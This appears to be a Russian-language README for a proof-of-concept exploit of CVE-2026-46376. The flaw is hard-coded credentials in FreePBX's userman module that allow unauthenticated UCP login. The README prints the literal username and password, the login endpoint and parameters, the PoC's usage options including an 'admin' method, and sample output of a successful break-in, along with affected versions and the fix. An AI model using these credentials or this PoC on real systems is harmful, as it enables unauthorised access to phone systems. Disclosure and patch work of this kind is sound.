
CVE-2026-46376 - FreePBX Unauthenticated UCP Access via Hard-Coded Credentials
Критическая уязвимость в модуле управления пользователями (userman) FreePBX позволяет неаутентифицированным злоумышленникам получить доступ к панели управления пользователями (UCP) с помощью жёстко закодированных учётных данных, которые встраиваются в процессе настройки универсального шаблона UCP.
CVSS v4.0: 9.1 (Критический) | CWE-798: Использование жёстко закодированных учётных данных
Раскрыто: 15 мая 2026 г. | Автор: s0nnyWT
Когда администратор использует дополнительную функцию настройки универсального шаблона UCP (введена в 2021 году), создаётся системный пользователь FreePBXUCPTemplateCreator с жёстко закодированным статическим паролем. Если администратор не изменит этот пароль после настройки, любой неаутентифицированный пользователь в сети сможет войти в UCP с этими учётными данными.
| Поле | Значение |
|---|---|
| Имя пользователя | FreePBXUCPTemplateCreator |
| Пароль | 1a2b3c@fd48jshs03123ld |
| Источник | Userman.class.php — пароль передаётся через md5() |
| Вектор атаки | Сеть |
| Сложность | Низкая |
| Требуется аутентификация | Нет |
| Взаимодействие пользователя | Нет |
| Предварительное условие | Администратор должен был выполнить настройку универсального шаблона UCP |
Примечание: Пользователь
FreePBXUCPTemplateCreatorсоздаётся только в том случае, если администратор явно запускает настройку универсального шаблона UCP. Системы, где такая настройка не выполнялась, не подвержены эксплуатации через данный CVE, даже если на них установлена уязвимая версия.
Исправление рандомизирует пароль с помощью bin2hex(random_bytes(24)) во время установки/обновления; у существующих создателей шаблонов пароль перегенерируется при обновлении.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target Целевой URL (например, http://192.168.1.100)
optional arguments:
-h, --help Показать это справочное сообщение и выйти
--no-check Пропустить предварительную проверку версии
--timeout TIMEOUT Время ожидания запроса в секундах (по умолчанию: 15)
--method {creds,unlock,admin,all}
Какой метод эксплуатации выполнить (по умолчанию: all)
-y, --yes Автоматически продолжить, даже если версия вне диапазона
POST /ucp/ajax.php с module=User&command=login, используя жёстко закодированные учётные данные?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Чтобы проверить, доступна ли система для эксплуатации, PoC отправляет запрос на вход через POST /ucp/ajax.php с module=User&command=login и учётными данными. Ответ {"status":true} указывает, что пользователь-создатель шаблона существует и пароль всё ещё задан по умолчанию.
Ответ {"status":false,"message":"Invalid Login Credentials"} означает одно из двух:
userman до версии 16.0.45 (FreePBX 16) или 17.0.7 (FreePBX 17)Данный PoC предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование этого эксплойта против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, является незаконным. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом.
| Платформа | модуль userman | Затронуто | Исправлено |
|---|
| FreePBX 15 | — | 15.0.42+ | Н/Д |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |